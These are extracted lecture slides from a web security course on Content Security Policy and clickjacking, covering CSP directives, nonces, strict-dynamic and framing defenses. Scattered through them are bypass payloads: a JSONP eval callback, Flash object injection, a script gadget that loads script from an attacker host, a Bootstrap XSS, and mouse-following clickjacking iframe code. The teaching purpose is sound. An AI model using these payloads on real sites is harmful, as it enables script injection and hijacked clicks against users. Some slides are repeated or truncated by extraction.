CSE 361: Web Security

Content Security Policy
Framing Attacks

Nick Nikiforakis
Content Security Policy (CSP)

• XSS boils down to execution of attacker-created script in vulnerable Web site
  • Browser cannot differentiate between intended and unintended scripts

• Proposed mitigation: Content Security Policy
  • explicitly allow resources which are trusted by the developer
  • disallow dangerous JavaScript constructs like eval or event handlers
  • delivered as HTTP header or in meta element in page (only subset of directives supported)
  • enforced by the browser (all policies must be satisfied)

• First candidate recommendation in 2012, currently at Level 3

• Important: does not stop XSS, tries to mitigate its effects
  • similar to, e.g., the NX bit for stacks on x86/x64
Example policy on paypal.com

We’ll use cookies to improve and customize your experience if you continue to browse. Is it OK if we also use cookies to show you personalized ads?

Learn more and manage your cookies

---

```text
```

---

```
date: Thu, 04 Mar 2021 21:36:03 GMT
dc: cg11-origin-ww-1.paypal.com
etag: "W/"18226-RUaocqjVKBLo2lwO4eiUj0jalc
```

---

```
paypal-debug-id: 73977a2c894d1
```
CSP Level 1 - Controlling scripting resources

- **script-src directive**
  - Specifically controls where scripts can be loaded from
  - If provided, inline scripts and eval will not be allowed

- Many different ways to control sources
  - `'none'` - no scripts can be included from any host
  - `'self'` - only own origin
  - [https://domain.com/specificscript.js](https://domain.com/specificscript.js)
  - [https://*.domain.com](https://*.domain.com) - any subdomain of domain.com, any script on them
  - [https](https) - any origin delivered via HTTPS
  - `'unsafe-inline'` / `'unsafe-eval'` - reenables inline handlers and eval
CSP Level 1 - Controlling additional resources

- **img-src**, **style-src**, **font-src**, **object-src**, **media-src**
  - Controls non-scripting resources: images, CSS, fonts, objects, audio/video
- **frame-src**
  - Controls from which origins frames may be added to a page
- **connect-src**
  - Controls XMLHttpRequest, WebSockets (and other) connection targets
- **default-src**
  - Serves as fallback for all fetch directives (all of the above)
    - Only used when specific directive is absent
CSP Level 1 - Example and limitations

```
<html>
<body>
  <!-- ... -->
  <script src="https://ad.com/someads.js"></script>
  <script>
    // ... some required inline script
  </script>
</body>
</html>
```

**Content-Security-Policy**: script-src 'self'

- will block any scripts added here
CSP Level 1 - Example and limitations

```html
<html>
<body>
<!-- ad.com will add stuff from company.com -->
<script src="https://ad.com/someads.js"></script>
<script>
// ... some required inline script
</script>
</body>
</html>
```

Content-Security-Policy: script-src 'self' https://ad.com

- will block inline script
- ... and script which was added by ad.com
CSP Level 1 - Example and limitations

```html
<html>
<body>
<!-- ad.com will add stuff from company.com -->
<script src="https://ad.com/someads.js"></script>
<script>
// ... some required inline script
</script>
</body>
</html>
```

  • will block inline script
CSP Level 1 - Example and limitations

```html
<html>
<body>
<!-- ad.com will add stuff from company.com -->
<script src="https://ad.com/someads.js"></script>
<script>
// ... some required inline script
</script>
</body>
</html>
```


- will allow inline script
CSP Level 1 - Example and limitations

```html
<html>
<body>
<!-- ad.com will add stuff from company.com -->
<script src="https://ad.com/someads.js"></script>
<script>
// ... some required inline script
</script>
<script>// XSS attack!</script>
</body>
</html>
```

Content-Security-Policy: script-src 'self' https://ad.com
https://company.com 'unsafe-inline'

- will allow inline script
- ... but allows XSS injection
CSP Level 1 - Example and limitations

```html
<html>
<body>
<!-- ad.com will add stuff from company.com -->
<script src="https://ad.com/someads.js"></script>
<script src="https://example.com/myinlinescript.js"></script>
</body>
</html>
```


- requires removing inline script and converting it into an external script
CSP Level 1 - Example and limitations

```html
<html>
<body>
<!-- ad.com will add stuff from company.com -->
<script src="https://ad.com/someads.js"></script>
<script src="https://example.com/myinlinescript.js"></script>
<button onclick="meaningful()">Click me</button>
</body>
</html>
```


- removing onclick handler is painful...
CSP Level 1 - Example and limitations

```html
<html>
<body>
<!-- ad.com will add stuff from company.com -->
<script src="https://ad.com/someads.js"></script>
<script src="https://example.com/myinlinescript.js"></script>
<button id=meaningful>Click me</button>
<script src="https://example.com/eventhandler.js"></script>
</body>
</html>
```
```
var button = document.getElementById("meaningful");
button.onclick = meaningful;
```

Content-Security-Policy: script-src 'self' https://ad.com
https://company.com
• finally!
CSP Level 1 - Example and limitations

- Goal: allow scripts from own origin and inline scripts
  - `script-src 'self' 'unsafe-inline'`
- Problem: bypasses literally any protection
  - Attacker can inject inline JavaScript
- Proposed improvement in CSP Level 2: **nonces and hashes**
  - `script-src 'nonce-$value' 'self'`
    - Every inline script adds nonce property (`<script nonce='$value'>..</script>`)  
  - `script-src 'sha256-$hash' 'self'`
    - Allows inline scripts based on their SHA hash (SHA256, SHA384, or SHA512)
    - For external scripts, SRI must be used (covered in later lectures)
CSP Level 2 - Allowed hosts with Nonces or Hashes

```html
<script src='self' https://cdn.example.org
'nonce-d90e0153c074f6c3fcf53'
'sha256-5bf5c8f91b8c6adde74da363ac497d5ac19e4595fe39cbdda22cec8445d3814c'

<script>
alert('My hash is correct');
</script>

SHA256 matches value of CSP header

SHA256 does not match
CSP Level 2 - Allowed hosts with Nonces or Hashes

```
<script>
alert('My hash is correct');
</script>

<script>
alert('My hash is correct');
</script>
```

SHA256 matches value of CSP header

SHA256 does not match (whitespaces matter)

```
'nonce-d90e0153c074f6c3fcf53'
'sha256-5bf5c8f91b8c6adde74da363ac497d5ac19e4595fe39cbdda22cec8445d3814c'
```
CSP Level 2 - Allowed hosts with Nonces or Hashes

script-src 'self' https://cdn.example.org
'nonce-d90e0153c074f6c3fcf53'
'sha256-5bf5c8f91b8c6adde74da363ac497d5ac19e4595fe39cbdda22cec8445d3814c'

Script nonce matches CSP header

```html
<script nonce="d90e0153c074f6c3fcf53"> alert("It's all good"); </script>
```

Script nonce does not match CSP header

```html
<script nonce="nocluehackplz"> alert('I will not work'); </script>
```
CSP Level 2 - additional changes

• child-src
  • deprecates frame-src, also valid for Web Workers

• base-uri
  • controls whether <base> can be used and what it can be set to

• form-action
  • ensures that forms may only be sent to specific targets
  • does not fall back to default-src if not specified
CSP - Changes from Level 2 to Level 3

- frame-src undeprecated
  - worker-src added to control workers specifically
  - both fall back to child-src if absent (which falls back to default-src)
- manifest-src
  - controls from where AppCache manifests can be loaded
- strict-dynamic
  - allows adding scripts programmatically, eases CSP deployment in, e.g., ad scenario
  - not "parser-inserted"
  - disables list of allowed hosts (such as “self” and “unsafe-inline”)
CSP – The case for “strict-dynamic”

• How do we compile a CSP policy if we do not know, ahead of time, all the remote endpoints that are trusted?

• Mostly due to dynamic ads
  • 1\textsuperscript{st} page load: script from ads.com → fancy-cars.com
  • 2\textsuperscript{nd} page load: script from ads.com → cheap-ads.net → dealsdeals.biz

• Idea: Propagate trust
  • If we trust ads.com, let’s also trust whoever ads.com load scripts from
CSP Level 3 - strict-dynamic

script-src 'self' https://cdn.example.org
'nonce-d90e0153c074f6c3fcf53'
'strict-dynamic'

```html
<script nonce="d90e0153c074f6c3fcf53">
script=document.createElement("script");
script.src = "http://ad.com/ad.js";
document.body.appendChild(script);
</script>
```

appendChild is not "parser-inserted"

```html
<script nonce="d90e0153c074f6c3fcf53">
script=document.createElement("script");
script.src = "http://ad.com/ad.js";
document.write(script.outerHTML);
</script>
```

document.write is "parser-inserted"
CSP Level 3 - backwards compatibility

script-src 'self' https://cdn.example.org https://ad.com 'unsafe-inline' 'nonce-d90e0153c074f6c3fcf53' 'strict-dynamic'

```html
<script nonce="d90e0153c074f6c3fcf53">
script=document.createElement("script");
script.src = "http://ad.com/ad.js";
document.body.appendChild(script);
</script>
```

Modern browser: ignores unsafe-inline and allowed hosts

Old browser: ignores strict-dynamic and nonce, executes script through unsafe-inline and allowed hosts
CSP - Composition

- Browser always enforces **all** observed CSPs
  - Hence, CSP can never be relaxed, only tightened
- Useful for combatting XSS and restricting hosts at the same time
  - Idea: send two CSP headers, both will have to be applied
    - `script-src 'nonce-random'`
    - `script-src 'self' https://cdn.com`
  - Only nonced scripts can be executed (policy 1), theoretically from anywhere, though
  - Only scripts from own origin and CDN can be executed (policy 2), theoretically any script from there, though
- Result: only scripts that carry a nonce **and** are hosted on origin/CDN are allowed
CSP - Reporting functionality

- **report-uri <url>**
  - Sends JSON report to specified URL

- **report-to <endpoint>**
  - Requires separate definition through Report-To HTTP header

- **report-sample**
  - For inline scripts/eval, report excerpt of violating script

```json
{
  "document-uri": "https://stonybrook.edu",
  "violated-directive": "script-src-elem",
  "effective-directive": "script-src-elem",
  "original-policy": "default-src ...; report-uri /csp-violations",
  "disposition": "enforce",
  "script-sample": ""
}
```
CSP - Report Only Mode

• Implementation of CSP is a tedious process
  • removal of all inline scripts and usage of eval
  • tricky when depending on third-party providers
    • e.g., advertisement includes random script (due to real-time bidding)

• Restrictive policy might break functionality
  • remember: client-side enforcement
  • need for (non-breaking) feedback channel to developers

• Content-Security-Policy-Report-Only
  • default-src ....; report-uri /violations.php
  • allows to field-test without breaking functionality (reports current URL and causes for fail)
  • does not work in meta element
CSP - Bypasses

• Problem #1: JSONP
  • Any allowed site with JSONP endpoint is potentially dangerous
  • https://allowed.com/jsonp?callback=eval("my malicious code here")

• Problem #2: Open Redirects
  • "To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect."
  • Example: script-src redirect.com dangerous.com/benign.js
    • redirect.com has open redirect
    • CSP will allow inclusion of dangerous.com/attack.js!
CSP - Bypasses

- Problem #3: not specifying object-src
  - Flash can be allowed to access including site

```
<object data="/evil.com/evil.swf"
     <param name="allowscriptaccess" value="always">
</object>
```

- Problem #4: allowing objects from self
  - By default, Flash can always access **hosting** origin
    - recall error-tolerant parsing for Flash files (e.g., Rosetta Flash)
    - attacker can exploit injection flaw to not plant script code, but to inject a "SWF file"

```
<object data="/vuln.com/xss.html?inject=FWS..."/></object>
```
CSP - Adoption in the Wild

[...
only 20 out of the top 1,000 sites in the world use CSP. [...] Unfortunately, the other 18 sites with CSP do not use its full potential


Table 2: Security analysis of all CSP data sets, broken down by bypass categories
Using script gadgets to bypass CSP

- CSP ensures that no attacker-controlled code can be directly executed
- What about "data only" attacks?
  - Modern JavaScript frameworks extensively use "annotations"

```html
<div data-role="button" data-text="I am a button"></div>
<script nonce="d90e0153c074f6c3fcf53">
  var buttons = $("[data-role=button]");
  // [...]
  buttons.html(button.getAttribute("data-text"));
</script>
```
Using script gadgets to bypass CSP

`script-src 'strict-dynamic' 'nonce-d90e0153c074f6c3fcf53'`

```php
<?php
echo $_GET['username']->
?>

<div data-role="button" data-text="I am a button"></div>
<script nonce="d90e0153c074f6c3fcf53">
  var buttons = $("[data-role=button]");
  // [...]
  buttons.html(button.getAttribute("data-text"));
</script>

Attacker cannot guess the correct nonce, so we should be safe here, right?
Using script gadgets to bypass CSP

script-src 'strict-dynamic' 'nonce-d90e0153c074f6c3fcf53'

```html
<!-- attacker provided -->
<div data-role="button" data-text="&lt;script src='//attacker.org/js'&gt;&lt;/script&gt;"/>
<!-- end attacker provided -->
<div data-role="button" data-text="I am a button"></div>
<script nonce="d90e0153c074f6c3fcf53">
    var buttons = $("[data-role=button]" critiques);
    // [...]
    buttons.html(button.getAttribute("data-text"));
</script>
```

jQuery uses appendChild instead of document.write when adding a script.
Using script gadgets to bypass CSP [AppSecEU17/CCS17]

• Idea: use existing expression parsers/evaluation functions in MVC frameworks
• Lekies et al evaluated widely used frameworks
  • Aurelia, Angular, and Polymer bypass all mitigations via expression parsers
• Often times trivial exploits
  • e.g., Bootstrap
    ```html
    <div data-toggle=tooltip data-html=true title='&lt;script&gt;alert(1)&lt;/script&gt;'>
    </div>
    ```
• More involved examples require "chains" of calls
  • sometimes depended on a specific function being called, e.g., jQuery's `after` or `html`
CSP against XSS - Summary

• Content Security Policy provides control of included resources
  • for resources such as scripts or objects (to **mitigate** XSS)
  • for remote servers to contact (against data leakage)

• Even if CSP is deployed, very hard to get right
  • >90% of all policies in study from CCS 2016 easily bypassable

• **CSP is an improvement, but by no means a complete fix**
CSP - Other use cases [NDSS20]
Framing-based attacks (Clickjacking)
Framing other Web sites

- HTML supports framing of other (cross-origin sites)
  - e.g., iframes
  - very useful feature for advertisement, like buttons, ....

- Embedding site controls most of the frame's properties
  - how large the frame should be
  - where the frame is displayed
  - when the frame should be displayed
  - how opaque the frame should be

- What could go wrong?
Clickjacking

Win a free iphone!
Just click on red and green!
Quick while the offer lasts!
More sophisticated Clickjacking

• Follow the mouse movement with the iframe

• Gamify being Clickjacked

```javascript
var iframe = document.createElement("iframe");
iframe.src="https://target";
iframe.style.width = "125px";
iframe.style.height = "15px";
iframe.style.position = "absolute";
iframe.style.opacity = 0.5;
document.body.appendChild(iframe);

window.onmousemove = function(e) {
  iframe.style.left = (e.clientX - 60) + "px";
  iframe.style.top = (e.clientY - 5) + "px";
};
```
Clickjacking Defense: Framebusters

- Frames may navigate the top frame

```js
if (top !== self) {
    top.location = self.location;
}
```

- Problem: sandboxed iframe can disallow top-level navigation
  - Only FrameBuster will be affected by exception...
- Combined approach works better

```js + css
<style>
    body { display: none; }
</style>
<script>
    if (top !== self) {
        top.location = self.location;
    } else {
        document.body.style.display = "block";
    }
</script>
```
Clickjacking Defense: X-Frame-Options

- Non-standardized (hence the X-), yet widely adopted header
  - introduced in 2009
  - actually has an RFC since 2013 (RFC7034)
    - .. which mainly mentions that there is no commonly accepted variant

- Depending on the browser, two or three options exist
  - DENY: deny any framing whatsoever
  - SAMEORIGIN: only allow framing the same origin
    - depending on browser, same origin as top page or as framing page
  - ALLOW-FROM: single allowed domain (obsolete feature)

- ~25% adoption on the Web in 2017
Clickjacking: Double Framing / Nested Clickjacking

X-Frame-Options: SAMEORIGIN
Clickjacking: Double Framing

Montag, 11. Dezember 2006

The grand Hillilly Bank Robbery

Last Friday a team from our research group (‘the Clnsects’) participated in the annual ICF, a Capture the Flag contest held UCSB. As always it was a blast.
Click Jacking Defense: CSP's frame-ancestors

- CSP introduced frame-ancestors in version 2
  - meant to replace non-standardized X-Frame-Options (with weird quirks)
  - deprecates X-Frame-Options
- Implements same functionality
  - 'none': denies from any host, 'self': allows only from same origin
  - http://example.org: allows specific origin
- As of Sept 2020, approximately 8.5% of top 10k sites with frame-ancestors
  - Comparison: 37% make use of XFO
CSP - Enforcing TLS connections

• Option 1: default-src https:
  • Effectively blocks any HTTP resources from being loaded
  • Drawback: enables script restrictions of CSP (i.e., no inline scripts and eval)

• Option 2: block-all-mixed-content
  • Will not load HTTP resources when page itself is run via HTTPS
  • (Browsers already refuse to load HTTP script resources linked from HTTPS sites)

• Option 3: upgrade-insecure-requests
  • Browser automatically rewrites all HTTP URLs to HTTPS
  • Seamless migration from HTTP to HTTPS
CSP - Experimental features

• script-src-elem / style-src-elem
  • More specific directives for scripts / styles (inline and external)
• script-src-attr / style-src-attr
  • More specific directives for event handlers and style attributes
• script-src ... 'unsafe-hashes’
  • Allow event handlers and style attributes if they are hashed
• navigate-to
  • Restrict where navigation can be made to (forms, anchors, location.href, ..)
CSP - Summary

CSP Level 1 - Example and limitations

```html
<html>
<body>
<script src="https://ad.com/somefile.js"></script>
<script src="https://example.com/myscript.js"></script>
<script src="https://example.com/eve</script>
</body>
</html>
```

Content-Security-Policy: script-src 'self' https://ad.com
https://company.com
- finally!

CSP - Enforcing TLS connections

- Option 1: `default-src https`
  - Effectively blocks any HTTP resources from being loaded
  - Drawback: enables script restrictions of CSP (i.e., no inline scripts and eval)
- Option 2: `block-all-mixed-content`
  - Will not load HTTP resources when page itself is run via HTTPS
  - (Browsers already refuse to load HTTP script resources linked from HTTPS sites)
- Option 3: `upgrade-insecure-requests`
  - Browser automatically rewrites all HTTP URLs to HTTPS
  - seamless migration from HTTP to HTTPS

CSP - Adoption in the Wild

Click Jacking Defense: CSP’s frame-ancestors

- CSP introduced frame-ancestors in version 2
- `meant to replace non-standardized X-Frame-Options (with weird quirks)
- depreciates X-Frame-Options
- Implements same functionality
  - 'none': denies from any host, 'self': allows only from same origin
  - `http://example.org`: allows specific origin
- As of Sept 2020, approximately 8.5% of top 10k sites with frame-ancestors
  - Comparison: 37% make use of XFO
Credits

- Original slide deck by Ben Stock
- Modified by Nick Nikiforakis